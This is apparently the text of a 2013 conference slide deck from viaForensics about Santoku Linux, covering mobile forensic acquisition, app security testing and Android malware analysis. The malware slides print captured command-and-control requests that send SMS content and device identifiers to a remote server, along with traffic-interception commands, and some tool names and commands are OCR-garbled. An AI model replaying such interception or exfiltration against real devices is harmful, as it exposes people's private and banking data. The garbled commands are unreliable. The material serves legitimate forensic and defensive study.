Mobile security, forensics & malware analysis with Santoku Linux
CEO/Co-founder of viaForensics

Andrew is a published author, computer scientist, and mobile security & forensics researcher. He has several patents pending and presents on mobile security topics to conferences, enterprise and government audiences.
VIAFORENSICS OVERVIEW

viaForensics is a mobile security company founded in 2009.

Bootstrapped with ~40 employees and a 10 person dedicated mobile security R&D team

Some of our f/oss:
- YAFFS2 in TSK
- AFLogical OSE
- Santoku Linux
- ...
SANTOKU - WHY?

# Units Shipped (millions)

- **Desktop PC**
- **Portable PC**
- **Tablet**
- **Smartphone**

**2012**
- Total: 1,201.1

**2017 (Projected)**
- Total: 2,250.3

© Copyright 2013 viaForensics, LLC. Proprietary Information.
**SANTOKU - WHAT?**

Santoku includes a number of open source tools dedicated to helping you in every aspect of your mobile forensics, malware analysis, and security testing needs, including:

<table>
<thead>
<tr>
<th>Development Tools</th>
<th>Wireless Analyzers</th>
<th>Reverse Engineering</th>
</tr>
</thead>
<tbody>
<tr>
<td>Android SDK Manager</td>
<td>Chaosread</td>
<td>Androguard</td>
</tr>
<tr>
<td>AXMLPrinter2</td>
<td>dnsche$v</td>
<td>AntiMV</td>
</tr>
<tr>
<td>Fastboot</td>
<td>DSNI$F</td>
<td>APK Tool</td>
</tr>
<tr>
<td>Helmdall (src</td>
<td>TCPDUMP</td>
<td>Baksmali</td>
</tr>
<tr>
<td>Helmdall (GUI) (src</td>
<td>Wireshark</td>
<td>Dox2Jar</td>
</tr>
<tr>
<td>SBF Flash</td>
<td>Wireshark (As Root)</td>
<td>Jasmin</td>
</tr>
<tr>
<td>Penetration Testing</td>
<td>Device Forensics</td>
<td>JD-GUI</td>
</tr>
<tr>
<td>Burp Suite</td>
<td>AFLogical Open Source Edition (src</td>
<td>Mercury</td>
</tr>
<tr>
<td>Ettercap</td>
<td>Android Brute Force Encryption (src</td>
<td>Rador2</td>
</tr>
<tr>
<td>nmap</td>
<td>Excel</td>
<td>Small</td>
</tr>
<tr>
<td>SSL Strip</td>
<td>iPhone Backup Analyzer (GUI) (src</td>
<td></td>
</tr>
<tr>
<td>w3af (Console)</td>
<td>libimobiledevice (src</td>
<td></td>
</tr>
<tr>
<td>w3af (GUI)</td>
<td>scalpel</td>
<td></td>
</tr>
<tr>
<td>ZAP</td>
<td>Sleuth Kit</td>
<td></td>
</tr>
<tr>
<td>Zenmap (As Root)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
SANTOKU - HOW?

—

Install Lubuntu 12.04 (precise) x86_64

—

Santoku-ize it

```
codename=$(lsb_release --codename --short)
echo "deb http://packages.santoku-linux.com/ubuntu $codename main" | sudo tee /etc/apt/sources.list.d/santoku.list
wget http://packages.santoku-linux.com/santoku.key -q -O - | sudo apt-key add -
sudo apt-get update
sudo apt-get install santoku
```
You should get (after reboot)
# FORENSIC ACQUISITION TYPES

<table>
<thead>
<tr>
<th>Logical</th>
<th>File system</th>
<th>Physical</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td>Copy of files of file system</td>
<td>Bit-by-bit copy of physical drive</td>
</tr>
<tr>
<td>Read device data via backup, API or other controlled access to data</td>
<td>Re-creating encrypted file system</td>
<td><strong>Use cases</strong></td>
</tr>
<tr>
<td><strong>Use cases</strong></td>
<td>More data than logical</td>
<td>Most forensically sound technique</td>
</tr>
<tr>
<td>Fast</td>
<td>Re-creating encrypted file system</td>
<td>Increases chance of deleted data recovery</td>
</tr>
<tr>
<td>Data generally well structured</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Challenges</strong></td>
<td>Requires additional access to device</td>
<td><strong>Challenges</strong></td>
</tr>
<tr>
<td>Often very limited access to data</td>
<td>Many file system files not responsive on cases</td>
<td>Cannot pull hard drive on mobile devices</td>
</tr>
<tr>
<td>Usually requires unlocked passcode</td>
<td></td>
<td>FTL may not provide bad blocks</td>
</tr>
</tbody>
</table>
iOS Logical

—
Connect device (enter PIN if needed)

—
ideviceback2 backup <backup dir>

—
ideviceback2 unback <backup dir>

—
View backup|unpacked backup
iOS Logical
iPhone Backup Analyzer
Android Logical

AFLogical OSE
https://github.com/viaforensics/android-forensics

Reads Content Providers

Push to phone, run, store on SD Card

Pull CSVs to Santoku for review
AFLogical OSE
Install, run, extract

File Edit Tabs Help

santoku@santoku-0:~$ adb devices
List of devices attached
4df77f87ed87cf71 device

santoku@santoku-0:~$ adb install /usr/share/aflogical-ose/AFLogical-OSE_1.5.2.apk
643 KB/s (28794 bytes in 0.043s)
pkg: /data/local/tmp/AFLogical-OSE_1.5.2.apk
Success
santoku@santoku-0:~$ adb shell am start -n com.viaforensics.android.aflogical_ose/com.viaforensics.android.ForensicsActivity
Starting: Intent { cmp=com.viaforensics.android.aflogical_ose/com.viaforensics.android.ForensicsActivity }

santoku@santoku-0:~$ mkdir aflogical-data
santoku@santoku-0:~$ adb pull /sdcard/forensics aflogical-data/
pull: building file list
pull: /sdcard/forensics/20130424.1606/Contacts Phones.csv -> aflogical-data/20130424.1606/Contacts Phones.csv
pull: /sdcard/forensics/20130424.1606/SMS.csv -> aflogical-data/20130424.1606/SMS.csv
pull: /sdcard/forensics/20130424.1606/MESSApps.csv -> aflogical-data/20130424.1606/MESSApps.csv
pull: /sdcard/forensics/20130424.1606/CallLog Calls.csv -> aflogical-data/20130424.1606/CallLog Calls.csv
pull: /sdcard/forensics/20130424.1606/MMSS.csv -> aflogical-data/20130424.1606/MMSS.csv
pull: /sdcard/forensics/20130424.1606/info.xml -> aflogical-data/20130424.1606/info.xml
6 files pulled, 0 files skipped.
239 KB/s (191171 bytes in 0.778s)
santoku@santoku-0:~$
<table>
<thead>
<tr>
<th>ID</th>
<th>Title</th>
<th>URL</th>
<th>Visits</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>16</td>
<td>Samsung Apps</td>
<td><a href="http://m.hk.samsungapps.com">http://m.hk.samsungapps.com</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
<tr>
<td>17</td>
<td>MYNET</td>
<td><a href="http://bookmark.hkcl.com/h">http://bookmark.hkcl.com/h</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
<tr>
<td>18</td>
<td>Yahoo!</td>
<td><a href="http://m.yahoo.com?tsrc=san">http://m.yahoo.com?tsrc=san</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
<tr>
<td>19</td>
<td>New World Mobility</td>
<td><a href="http://wap.nwmobile.com">http://wap.nwmobile.com</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
<tr>
<td>20</td>
<td>3</td>
<td><a href="http://mobile.three.com.hk">http://mobile.three.com.hk</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
<tr>
<td>21</td>
<td>3(2G)</td>
<td><a href="http://3db.three.com.hk">http://3db.three.com.hk</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
<tr>
<td>22</td>
<td>PCCW</td>
<td><a href="http://wap.pccwmobile.com">http://wap.pccwmobile.com</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
<tr>
<td>23</td>
<td>CMHK</td>
<td><a href="http://color.hk.chinamobile.com">http://color.hk.chinamobile.com</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
<tr>
<td>24</td>
<td>SmarTone INI</td>
<td><a href="http://wap.smaritone.com">http://wap.smaritone.com</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
<tr>
<td>25</td>
<td>用戸手冊</td>
<td><a href="http://www.samsung.com/m-">http://www.samsung.com/m-</a></td>
<td>0</td>
<td>Null Date</td>
</tr>
</tbody>
</table>
The Anatomy Of A Mobile Attack

**Attack Surface: Device**
- Browser
  - Phishing
  - Framing
  - Clickjacking
  - Man-in-the-Middle
  - Buffer Overflow
  - Data Caching
- Phone / SMS
  - Baseband Attacks
  - SMiShing
- Apps
  - Sensitive Data Storage
  - No Encryption/Weak Encryption
  - Improper SSL Validation
  - Config Manipulation
  - Dynamic Runtime Injection
  - Unintended Permissions
  - Escalated Privileges
- System
  - No Passcode/Weak Passcode
  - iOS Jailbreaking
  - Android Rooting
  - OS Data Caching
  - Passwords & Data Accessible
  - Carrier-Loaded Software
  - No Encryption/Weak Encryption
  - User-Initiated Code
- Malware

**Attack Surface: Network**
- Wi-Fi (No Encryption/Weak Encryption)
- Rogue Access Point
- Packet Sniffing
- Man-in-the-Middle (MiTM)
- Session Hijacking
- DNS Poisoning
- SSLstrip
- Fake SSL Certificate

**Attack Surface: Data Center**
- Web Server
  - Platform Vulnerabilities
  - Server Misconfiguration
  - Cross-site Scripting (XSS)
  - Cross-Site Request Forgery (CSRF)
  - Weak Input Validation
  - Brute Force Attacks
- Database
  - SQL Injection
  - Privilege Escalation
  - Data Dumping
  - OS Command Execution
APP SELECTION

Apps were selected based on popularity, number of downloads, or potential sensitivity of data.

Approximately 80 apps have been reviewed and organized into categories.

<table>
<thead>
<tr>
<th>Category</th>
<th># apps reviewed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Finance</td>
<td>10</td>
</tr>
<tr>
<td>Lifestyle</td>
<td>11</td>
</tr>
<tr>
<td>Productivity</td>
<td>6</td>
</tr>
<tr>
<td>Travel</td>
<td>5</td>
</tr>
<tr>
<td>Social Networking</td>
<td>6</td>
</tr>
<tr>
<td>Security</td>
<td>6</td>
</tr>
<tr>
<td>Other</td>
<td>6</td>
</tr>
</tbody>
</table>
2013 APP TESTING RESULTS

81 tested apps - 32 iOS, 49 Android

% found vulnerable

- Failed MiTM or SSL: 15% iOS, 20% Android
- Stored Password (plaintext or hashed): 25% iOS, 18% Android
- Stored Sensitive app data in memory: 65% iOS, 45% Android
- At least one "High" risk rating: 75% iOS, 59% Android
Mobile Device Security

Who is Responsible? (It's simple just follow the lines.)

Device Manufacturers
- Customize the OS and develop core applications. Subject to OS and carrier specifications.

App Developers
- Known/trusted plus many unknown/untrusted as well.

Corporations
- Deploying MDM and security tools. Some user controls.

OS Developers
- Kernel and primary system and app security architecture. Try to control app distribution.

End Users
- Might modify device OS, some control of device security settings.

Wireless Carriers
- Control the primary data network, OS configuration and OS updates.

(Everyone got it?)
Any.DO

—

Business and personal task management app
iOS and Android

—

Millions of users

—

Many vulnerabilities, no response from company

—

Any.DO Analysis - Forensics

Locate Any.DO app directory
adb pull /data/data/com.anydo

Examine database/binary files

Capture network traffic
Any.DO Analysis - Forensics
viaLab Assessments

Setup | Network | Forensics | Code | Advanced | Report Editor

1. Select app
2. Network Setup
3. General Information
4. Login and Data population

Info

Please select your application in the list below in case you already installed it on the viLab Phone.

If you haven't installed the application yet, please select the manual install option in the drop down menu below to select it and automatically install it.

Select/Installed app(s) | Any.do

Description

Test of Any.Do

Connected
LGE Nexus 4
Android 4.2

© Copyright 2013 viaForensics, LLC. Proprietary Information.
### Summary of Findings

**Any.do 2.31 Android**

<table>
<thead>
<tr>
<th>Status</th>
<th>Item</th>
<th>Section</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOW RISK</td>
<td>Found Username</td>
<td>Setup</td>
</tr>
<tr>
<td>MEDIUM RISK</td>
<td>Found Keywords</td>
<td>Setup</td>
</tr>
<tr>
<td>HIGH RISK</td>
<td>Found Password</td>
<td>Setup</td>
</tr>
<tr>
<td>MEDIUM RISK</td>
<td>Found Social Security Number</td>
<td>Setup</td>
</tr>
<tr>
<td>MEDIUM RISK</td>
<td>Password complexity</td>
<td>Setup</td>
</tr>
<tr>
<td>MEDIUM RISK</td>
<td>SSL Check</td>
<td>Network</td>
</tr>
</tbody>
</table>
MOBILE MALWARE ANALYSIS
### Sensitive data
- Contacts
- Websites visited
- Installed Apps
- Phone #
- IMEI/IMSI
- Android ID
- SMS (referenced)
- Email (referenced)

### Encryption
- **Chinese Server #1:** Ciphered, crackable
- **Chinese Server #2:** Encryption key included in data stream
- **Amazon EC2 Server:** Plaintext

### Security
- Attempts to gain root access
- Tries to mount /system r+w
- Generates fake anti-virus alerts

### Table

<table>
<thead>
<tr>
<th>Updated</th>
<th>Size</th>
<th>Installs</th>
<th>Current Version</th>
<th>Requires Android</th>
<th>Content Rating</th>
</tr>
</thead>
<tbody>
<tr>
<td>November 15, 2013</td>
<td>4.3M</td>
<td>10,000,000 - 50,000,000</td>
<td>7.0.10.00</td>
<td>2.1 and up</td>
<td>Low Maturity</td>
</tr>
</tbody>
</table>
Bad News

Android Malware, masquerades as an innocent advertising network

Packaged in many legitimate apps, usually targeting the Russian market

Has ability to download additional apps, and prompts the user to install them, posing as "Critical Updates". Uses this mechanism to spread known malware, typically Premium Rate SMS fraud.

For more information see the report by Lookout: https://blog.lookout.com/blog/2013/04/19/the-bearer-of-badnews-malware-google-play/
apktool

apktool is a tool for reverse engineering Android apk, it disassembles the code to .smali files, decoding also the resources contained into the apk.

It can also repackage the applications after you have modified them.

We can run it on a Badnews sample:

$ apktool d ru.blogspot.playsib.savageknife.apk savage_knife_apktool/
  I: Baksmaling...
  I: Loading resource table...
  I: Loaded.
  I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/santoku/apktool/framework/1.apk
  I: Loaded.
  I: Regular manifest package...
  I: Decoding file-resources...
  I: Decoding values */* XMLs...
  I: Done.
  I: Copying assets and libs…

Source: https://code.google.com/p/android-apktool/
apktool -> smali

We can grep for known sensible method calls and strings

$ grep -R getDeviceId .
.smali/com/mobidisplay/advertsv1/AdvService.smali: invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;

$ grep -R BOOT_COMPLETED .
./AndroidManifest.xml: <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
./AndroidManifest.xml: <action android:name="android.intent.action.BOOT_COMPLETED" />
./smali/com/mobidisplay/advertsv1/BootReceiver.smali: const-string v2, "android.intent.action.BOOT_COMPLETED"
We can manually analyze the disassembled smali code provided by apktool.

For example here we see a broadcast receiver that will listen for `BOOT_COMPLETED` intents and react to them starting a service in the application.
BadNews Malware Sample -> Dex2Jar -> JD-GUI

Contagio MiniDump
Malware Repository
contagiominidump.blogspot.com
# Korean Banking Malware

<table>
<thead>
<tr>
<th>Targets</th>
<th>Techniques</th>
<th>C&amp;C</th>
</tr>
</thead>
<tbody>
<tr>
<td>nh.smart</td>
<td>.zip encryption flags</td>
<td>LAMP Server (with vulns)</td>
</tr>
<tr>
<td>com.shinhan.sbanking</td>
<td>Intercept pkg (un)install</td>
<td>Contact Provider</td>
</tr>
<tr>
<td>com.hanabank.ebk.channel.</td>
<td>Intercept SMS</td>
<td>Phone Receiver</td>
</tr>
<tr>
<td>android.hananbank</td>
<td>Device admin</td>
<td>SMS Receiver</td>
</tr>
<tr>
<td>com.webcash.wooribank</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Korean Banking Malware (Analysis)

<table>
<thead>
<tr>
<th>axmlprinter2</th>
<th>apktool</th>
<th>Dynamic</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unzip</td>
<td>Reverse engineer apktool d -f /home/santoku/Desktop/aaa-noflags.apk</td>
<td>sudo iptables --t nat --A PREROUTING --j REDIRECT --i wlan0 --p tcp --m tcp ----to-- ports 8080</td>
</tr>
<tr>
<td>axmlprinter2 AndroidManifest.xml</td>
<td>Re-compile apktool b aaa-noflags/ test.apk</td>
<td>mitmdump ---vvv -T ----host --z --b 192.168.10.1</td>
</tr>
<tr>
<td></td>
<td>dex2jar</td>
<td></td>
</tr>
</tbody>
</table>
Korean Banking Malware (mitmdump)

SEMRECEIVER_DATA => http://103.20.193.59/index.php?
m=Api&a=SMSReceiver&imsi=3102600000000000&number=15555215554&from=555&content=TEST+Bank+Credentials

Send Heartbeat => http://103.20.193.59/index.php?
m=Api&a=Heartbeat&newclient=1&number=15555215554&imsi=3102600000000000&issms=1&iscal=0&capp=&sapp=%23%ED%95%98%23%EC%8B%A0
COLLECT

Forensics  Security  Network/System  Sensors
Dashboard

Welcome to viaProtect early beta access. During the beta we will regularly be deploying new features, optimizing the product and shaping the platform to meet customer needs. Feedback is an important part of helping us make a product that supports your business challenges and we would love to hear from you. Please email support@viaforensics.com or visit http://support.viaforensics.com for any assistance.

### DEVICES REGISTERED

- **59**

### ARTIFACTS RECORDED

- **293,684**

### NETSTAT

<table>
<thead>
<tr>
<th>App</th>
<th>UID</th>
<th>Source Address</th>
<th>Source Port</th>
<th>Destination Address</th>
<th>Destination Port</th>
<th>Country</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>YouTube</td>
<td>10181</td>
<td>10.177.0.127</td>
<td>36349</td>
<td>74.125.29.156</td>
<td>80</td>
<td>United States</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>CIO Summit</td>
<td>10227</td>
<td>10.177.0.127</td>
<td>47428</td>
<td>98.158.20.156</td>
<td>443</td>
<td>United States</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>Dropbox</td>
<td>10017</td>
<td>10.177.0.127</td>
<td>41265</td>
<td>108.160.182.53</td>
<td>443</td>
<td>United States</td>
<td>ESTABLISHED</td>
</tr>
</tbody>
</table>
A LITTLE HELP, PLEASE.

—

HOWTOs

—

New/existing tool development

—

.deb package maintenance

—

Forums, spreading the word
Andrew Hoog
312-878-1100
ahoog@viaforensics.com

Keep in touch with us on Twitter at @viaforensics or at viaforensics.com.